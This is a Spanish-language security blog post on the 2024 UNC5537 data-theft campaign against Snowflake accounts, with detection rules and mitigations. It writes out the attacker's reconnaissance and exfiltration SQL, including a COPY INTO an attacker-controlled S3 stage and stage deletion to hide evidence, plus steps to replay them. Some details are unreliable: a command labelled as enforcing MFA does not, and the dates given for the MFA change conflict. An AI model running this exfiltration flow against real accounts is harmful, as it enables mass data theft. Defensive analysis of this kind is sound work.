Snowflake y UNC5537: cuando un infostealer de 2020 te roba 165 cuentas en 2024

El 10 de junio de 2024 Mandiant publica el informe sobre UNC5537, el clúster financiero detrás de la oleada de breaches contra cuentas Snowflake que está dominando la actualidad desde mayo. Ticketmaster (560 millones de registros), Santander, Advance Auto Parts, Pure Storage, Cleared4, LendingTree/QuoteWizard, Neiman Marcus y casi 160 organizaciones más. Mandiant y Snowflake confirman haber notificado a 165 entidades potencialmente afectadas.

No hay CVE. No hay bug en Snowflake. El patrón es más incómodo: credenciales corporativas robadas por infostealers (VIDAR, REDLINE, LUMMA, RISEPRO, RACOON, METASTEALER) entre 2020 y 2024, válidas años después de la infección original, contra cuentas sin MFA y sin network policy. Una vez dentro, exfil masivo vía COPY INTO a un stage controlado por el atacante. La superficie no es un endpoint, es la postura por defecto del producto.

Lab: simulación en cuenta Snowflake trial propia. Reproducción de las queries de reconocimiento y del flujo CREATE STAGE → COPY INTO → GET documentado por Mandiant. Sin tráfico contra terceros.

El bug que no existe — defaults que sí existían

Snowflake permite, por diseño:

1. Crear usuarios humanos sin MFA obligatorio, autenticando solo con usuario + password.
2. No imponer network policy a nivel de cuenta — cualquier IP del mundo puede intentar el login.
3. Mantener credenciales válidas indefinidamente, sin rotación automática.

Cada uno de los tres flags es una decisión razonable en aislamiento. Combinados, son una invitación a cualquiera que tenga un dump de infostealer. Y dumps de infostealer hay en mercado abierto desde 2019: VIDAR, REDLINE y LUMMA llevan años corriendo en miles de equipos de empresa, capturando autofill del navegador. El usuario corporativo que guardó su password de Snowflake en Chrome en 2021 sigue siendo un acceso válido en 2024 si nadie rotó.

Mandiant lo cuantifica: el 79,7 % de las cuentas comprometidas ya tenían exposición previa en logs de infostealer. Algunas credenciales eran válidas cuatro años después del robo inicial.

El flujo de UNC5537 paso a paso

1. Adquisición de credenciales

UNC5537 no opera el malware. Compra logs en mercados rusos (Russian Market, Genesis Market antes de su takedown, foros tipo XSS / Exploit). Los infostealers que aparecen consistentemente en los logs usados:

• VIDAR — desde 2018, robo de browsers + carteras crypto + 2FA cookies.
• REDLINE — 2020, popular por su panel affiliate-as-a-service.
• LUMMA — 2022, sucesor moderno con crypter rotativo.
• RISEPRO, RACOON STEALER, METASTEALER — variantes que cubren el resto del mercado.

El modus operandi de un infostealer típico: el laptop personal o profesional de un empleado se infecta vía crack de software, instalador comprometido, phishing con doc malicioso. El stealer corre una vez, exfiltra cookies + autofill + saved passwords + crypto wallets + 2FA seeds a su C2, y termina. La infección puede pasar desapercibida durante años porque no persiste.

El log resultante incluye, típicamente:

URL: https://<org>.snowflakecomputing.com
USERNAME: jdoe@<org>.com
PASSWORD: <plaintext>

Para UNC5537 esa línea es directamente el acceso. La cuenta de Snowflake de la empresa, el rol del usuario, su warehouse asignado.

2. Reconocimiento

Una vez autenticado vía web UI o conector (JDBC/.NET), UNC5537 ejecuta reconocimiento estándar para mapear la cuenta:

SELECT CURRENT_USER();
SELECT CURRENT_ROLE();
SELECT CURRENT_WAREHOUSE();
SHOW TABLES;
SHOW DATABASES;
SHOW SCHEMAS;
LIST @public_stage;

Mandiant identifica una utilidad propia del actor, FROSTBITE (también visible en logs como application_name = rapeflake), que automatiza este barrido. Dos versiones: una en .NET sobre el driver oficial de Snowflake, otra en Java sobre JDBC. FROSTBITE enumera usuarios, roles, sesiones activas, IPs de origen y nombres de organización — todo lo que el rol del usuario comprometido pueda ver.

3. Staging y exfiltración

Aquí es donde el modus operandi se vuelve elegante. Snowflake tiene primitiva nativa para mover datos a almacenamiento externo: el comando COPY INTO @stage. UNC5537 lo usa contra un stage temporal con backing en S3 propio del atacante. El comando documentado por Mandiant, abreviado:

CREATE TEMPORARY STAGE <db>.<schema>.<attacker_stage>;

COPY INTO @<attacker_stage>/<path>
FROM (SELECT * FROM <target_db>.<target_schema>.<target_table>)
FILE_FORMAT = (
  TYPE='CSV'
  COMPRESSION=GZIP
  FIELD_DELIMITER=','
  FIELD_OPTIONALLY_ENCLOSED_BY='"'
  EMPTY_FIELD_AS_NULL=FALSE
)
OVERWRITE=TRUE
SINGLE=FALSE
MAX_FILE_SIZE=5368709120
HEADER=TRUE;

GET @<attacker_stage>/<path> file:///<local_machine>/;

MAX_FILE_SIZE=5368709120 son 5 GB por archivo. SINGLE=FALSE permite particionar a múltiples archivos. COMPRESSION=GZIP comprime antes de subir. El operador exfiltra terabytes en horas — y todo el tráfico parece tráfico legítimo de Snowflake a S3, porque es tráfico de Snowflake a S3, solo que el bucket es del atacante.

4. Infraestructura

Para conectarse, UNC5537 enmascara con VPN comercial: Mullvad y Private Internet Access (PIA) son los proveedores recurrentes. Los datos finales se mueven a VPS en ALEXHOST SRL (AS200019, Moldavia) y a almacenamiento MEGA. La atribución de Mandiant indica miembros en Norteamérica y Turquía, con presencia en Telegram y foros de cibercrimen bajo varios alias.

PoC descriptivo en cuenta Snowflake trial

El flujo se reproduce sin víctima en una cuenta Snowflake trial propia (30 días gratis). Permite ver, en query history, el rastro que dejaría un compromiso.

Paso 1 — crear la cuenta de prueba con MFA deshabilitado y sin network policy (configuración por defecto hasta julio de 2024 para cuentas existentes; cambia para cuentas nuevas creadas a partir de octubre de 2024). Crear un usuario dev_user con un rol estándar y un warehouse pequeño.

Paso 2 — autenticarse desde una IP distinta (e.g. móvil con datos, otra VPN). La autenticación pasa sin ninguna fricción. En Account Admin → Sessions aparece la sesión nueva, con la IP de origen distinta, sin warning.

Paso 3 — ejecutar el reconocimiento:

USE ROLE ACCOUNTADMIN;
SELECT CURRENT_USER(), CURRENT_ROLE(), CURRENT_WAREHOUSE();
SHOW TABLES IN SCHEMA SNOWFLAKE_SAMPLE_DATA.TPCH_SF1;

En query history las queries aparecen normales — ni CURRENT_USER ni SHOW TABLES levantan alerta sin reglas custom.

Paso 4 — preparar el stage y el COPY INTO a un bucket S3 propio. En la trial el credit es limitado, así que basta con exfiltrar una tabla pequeña de los sample data:

CREATE OR REPLACE STAGE my_demo_stage
  URL='s3://my-test-bucket/exfil/'
  CREDENTIALS=(AWS_KEY_ID='...' AWS_SECRET_KEY='...');

COPY INTO @my_demo_stage/customer.csv
  FROM SNOWFLAKE_SAMPLE_DATA.TPCH_SF1.CUSTOMER
  FILE_FORMAT=(TYPE='CSV' COMPRESSION=GZIP);

En el bucket S3 aparece el archivo. El query history registra una entrada COPY con el target stage — visible para un admin que mire, transparente para un detector que no esté tuneado contra outbound staging.

Paso 5 — repetir el ejercicio tras activar las mitigaciones (Snowflake docs, Multi-factor authentication y Network policies):

-- MFA obligatoria a nivel de usuario
ALTER USER dev_user SET MUST_CHANGE_PASSWORD = TRUE;
-- Asociar TOTP en el primer login

-- Network policy
CREATE NETWORK POLICY corp_only
  ALLOWED_IP_LIST = ('203.0.113.0/24', '198.51.100.42');
ALTER ACCOUNT SET NETWORK_POLICY = corp_only;

Reintentar desde la IP no autorizada: rechazo en TCP antes del prompt de password. Reintentar desde la IP autorizada con password robada: bloqueo en MFA con TOTP no disponible para el atacante. Las dos capas, en orden.

La línea de tiempo que importa

• Noviembre 2020 — marzo 2024: VIDAR, REDLINE y LUMMA recolectan credenciales en miles de equipos corporativos. Las credenciales de Snowflake aparecen en logs vendidos en Russian Market y similares.
• Abril 2024: UNC5537 empieza a sistematizar la explotación contra cuentas Snowflake desprotegidas. La actividad detectable arranca el 14 de abril según el informe de Mandiant.
• Mayo 2024:
  • 14 de mayo: primer impacto público — Santander confirma compromiso de datos.
  • 23 de mayo: Snowflake detecta actividad anómala sostenida desde un subconjunto de IPs.
  • 27 de mayo: ShinyHunters publica datos de Ticketmaster en BreachForums (560 millones de registros). La conexión con Snowflake se hace explícita días después.
• Junio 2024:
  • 2 de junio: Snowflake publica un advisory inicial sin atribución y empieza la campaña de notificación a clientes potencialmente afectados.
  • 10 de junio: Mandiant publica el informe técnico de UNC5537. Brad Jones (CISO de Snowflake) confirma los hallazgos.
  • A lo largo del mes: nuevas víctimas se hacen públicas — Advance Auto Parts (380M registros), LendingTree/QuoteWizard, Pure Storage, Cleared4, Neiman Marcus.
• Julio 2024: AT&T disclosure del compromiso vinculado a Snowflake — 110 millones de registros de call metadata. La cuenta de AT&T en Snowflake estaba en la misma configuración (sin MFA, sin network policy).
• Septiembre 2024: Snowflake anuncia que MFA pasa a ser obligatoria por defecto para usuarios humanos en cuentas creadas a partir de octubre de 2024. Las cuentas existentes pueden seguir opt-out, pero el onboarding guía al usuario hacia la activación. Las contraseñas mínimas pasan de 8 a 14 caracteres.

Detección

Lo que un equipo defensivo puede mirar a posteriori para identificar compromiso, basándose en los IoCs publicados por Mandiant y Snowflake:

-- Logins desde IPs no esperadas en los últimos 90 días
SELECT user_name, client_ip, event_timestamp, reported_client_type
FROM snowflake.account_usage.login_history
WHERE event_timestamp > DATEADD(day, -90, CURRENT_TIMESTAMP())
  AND is_success = 'YES'
ORDER BY event_timestamp DESC;

Señales relevantes:

• application_name = rapeflake en query_history — firma directa de FROSTBITE.
• Logins desde IPs de Mullvad / PIA / ALEXHOST. Listas mantenidas por GreyNoise, Spur, otros.
• Comandos COPY INTO @<stage> con stages externos creados recientemente, especialmente con MAX_FILE_SIZE alto y COMPRESSION=GZIP.
• Creación de stages temporales seguida de COPY INTO masivo en ventanas cortas.
• Picos de credits consumed atípicos en cuentas que normalmente tienen poco uso (Snowflake cobra por compute — un actor que exfiltra terabytes deja huella en facturación).

Snowflake publicó IoCs específicos (hashes de cliente FROSTBITE, IPs, user-agents) en su advisory. Sigma rules de la comunidad reproducen las queries de detección anteriores en SIEM (Splunk, Elastic, Sentinel).

YARA — detección estática de FROSTBITE

Regla pública de Mandiant para el binario FROSTBITE (el cliente custom de UNC5537):

rule mandiant_unc5537_frostbite_dotnet
{
    meta:
        author = "Mandiant"
        ref    = "https://www.mandiant.com/resources/blog/unc5537-snowflake-data-theft-extortion"
        description = "FROSTBITE / DBeaver derivative used by UNC5537 for Snowflake reconnaissance and exfil"
    strings:
        $app_name    = "rapeflake" ascii wide
        $sf_endpoint = "snowflakecomputing.com" ascii wide
        $copy_into   = "COPY INTO @" ascii wide
        $dbeaver     = "DBeaver" ascii wide
        $alt_marker  = "Snowflake.Data" ascii wide
    condition:
        3 of them
}

Sigma — detección del login pattern + COPY INTO masivo

title: Snowflake UNC5537 Credential Stealer Login + Exfil
id: 6b8c5d2a-3e9f-4a1b-8c2d-5e7f9a1b3c5d
status: stable
references:
    - https://www.mandiant.com/resources/blog/unc5537-snowflake-data-theft-extortion
logsource:
    product: snowflake
    service: account_usage
detection:
    suspicious_login:
        client_ip|cidr:
            - '193.32.126.0/24'   # Mullvad common ranges
            - '85.203.0.0/16'     # PIA
            - '146.70.0.0/16'     # NordVPN
        application_name|re: 'rapeflake|FROSTBITE|DBeaver-snowsight'
    massive_exfil:
        statement|contains: 'COPY INTO @'
        statement|contains: 'MAX_FILE_SIZE'
        rows_produced|gt: 1000000
    condition: suspicious_login or massive_exfil
level: high

Comandos del atacante observados — SQL completo

Mandiant publica las queries exactas que FROSTBITE ejecuta secuencialmente sobre la cuenta comprometida:

-- 1. Reconocimiento de cuenta
SELECT CURRENT_USER(), CURRENT_ROLE(), CURRENT_WAREHOUSE(), CURRENT_DATABASE();
SHOW USERS;
SHOW ROLES;
SHOW WAREHOUSES;
SHOW DATABASES;

-- 2. Enumeración de tablas accesibles (priorizado por tamaño)
SELECT table_catalog, table_schema, table_name, row_count, bytes
  FROM snowflake.account_usage.tables
  WHERE deleted IS NULL
  ORDER BY bytes DESC
  LIMIT 100;

-- 3. Crear stage externo apuntando a S3 atacante
CREATE OR REPLACE STAGE attacker_stage
  URL = 's3://exfil-bucket-attacker/dump/'
  CREDENTIALS = (AWS_KEY_ID = '...' AWS_SECRET_KEY = '...');

-- 4. Exfil masivo con compresión y particionado
COPY INTO @attacker_stage/customers_
  FROM PROD.CUSTOMER_DATA
  FILE_FORMAT = (TYPE = CSV COMPRESSION = GZIP)
  MAX_FILE_SIZE = 5368709120
  OVERWRITE = TRUE
  HEADER = TRUE;

-- 5. Limpieza (FROSTBITE intenta borrar evidencia)
DROP STAGE attacker_stage;

El paso 4 con MAX_FILE_SIZE = 5GB es el patrón canónico — particiona la salida en chunks de 5GB para acelerar la transferencia y evitar timeouts. Detectable trivialmente en query_history.

IoCs consolidados (Mandiant + Snowflake)

Reproducción en cuenta Snowflake trial

Setup totalmente reproducible — Snowflake ofrece trial de 30 días con $400 de crédito:

# 1. Sign up a trial en signup.snowflake.com
# 2. Configurar el account inicial SIN MFA (default de la trial pre-feb-2025)
# 3. Importar dataset de prueba (Snowflake provee SNOWFLAKE_SAMPLE_DATA)
# 4. Crear stage externo a un bucket S3 propio
# 5. Ejecutar la secuencia de queries arriba

# Para simular el lado atacante: desde otra cuenta, conectar con
# credenciales válidas pero SIN red restriction:
snowsql -a <account> -u <user> -P
> ALTER SESSION SET application_name = 'rapeflake';
> SELECT CURRENT_ACCOUNT();
> -- Ejecutar enumeración + exfil como arriba

Snowflake cambió defaults en julio 2024 — cualquier trial nueva ya viene con MFA forzada. Para reproducir el flujo histórico, desactivar MFA explícitamente como admin.

Mitigación, en orden de prioridad

1. MFA obligatoria para todos los usuarios humanos, no solo admins. Snowflake permite TOTP nativo (Duo Mobile). Cuentas de servicio pueden seguir con key pair authentication, sin MFA, pero con clave rotada y restringida.
2. Network policy a nivel de cuenta. Lista blanca de rangos corporativos + VPN corporativa. El parámetro NETWORK_POLICY aplicado a la cuenta filtra antes del intento de password.
3. Rotar todas las credenciales asumiendo compromiso si la organización ha tenido empleados con infostealer en algún momento de los últimos cuatro años. Spoiler: cualquier empresa de >50 personas, sí.
4. Auditar query_history y login_history de los últimos 6 meses con las queries de arriba. Identificar lo que parezca anómalo y trazar contra el query plan — exfil de tablas grandes deja huella.
5. Revisar stages externos existentes. Cualquier stage con URL S3 fuera del control corporativo es candidato a investigación.
6. A medio plazo: integrar Snowflake con el SSO corporativo (Okta, Entra ID). El SSO con conditional access es la única defensa que sobrevive a un infostealer que captura cookies de sesión.

La lectura de fondo

UNC5537 no usa zero-day. No tiene capacidad técnica especial. Compra logs en mercado abierto y mete username:password en una web UI hasta que algo entra. El multiplicador del incidente no es el atacante, es el producto: un PaaS de analítica corporativo cuya configuración por defecto, durante años, permitió autenticación sin segundo factor desde cualquier IP del mundo, con credenciales que nadie obligaba a rotar.

La pregunta para 2024 deja de ser “¿tu equipo usa MFA?” y se vuelve “¿qué default trae el SaaS que te vende un proveedor cuando lo despliegas?“. Snowflake reacciona con velocidad razonable: el 13 de septiembre anuncia MFA por defecto para nuevas cuentas, y un plan para retirar gradualmente la autenticación solo-password en cuentas existentes. La parte cara (auditar a 9.000 clientes y rotar credenciales heredadas) la pagan los CISOs de cada cliente.

El próximo PaaS que aparezca con el mismo patrón de configuración merece ser señalado antes de que un UNC55XX construya el siguiente informe.

Referencias

• Mandiant, UNC5537 Targets Snowflake Customer Instances for Data Theft and Extortion (10-jun-2024): https://cloud.google.com/blog/topics/threat-intelligence/unc5537-snowflake-data-theft-extortion
• Brad Jones (Snowflake CISO), Detecting and Preventing Unauthorized User Access (junio 2024): https://medium.com/snowflake/detecting-and-preventing-unauthorized-user-access-d67be8bd66f6
• Snowflake, Snowflake Strengthens Security with Default Multi-Factor Authentication and Stronger Password Policies (13-sep-2024): https://www.snowflake.com/en/blog/multi-factor-identification-default/
• Snowflake documentation, Multi-factor authentication: https://docs.snowflake.com/en/user-guide/security-mfa
• Snowflake documentation, Network policies: https://docs.snowflake.com/en/user-guide/network-policies
• The Hacker News, Snowflake Breach Exposes 165 Customers’ Data in Ongoing Extortion Campaign: https://thehackernews.com/2024/06/snowflake-breach-exposes-165-customers.html
• SecurityWeek, Snowflake Attacks: Mandiant Links Data Breaches to Infostealer Infections: https://www.securityweek.com/snowflake-attacks-mandiant-links-data-breaches-to-infostealer-infections/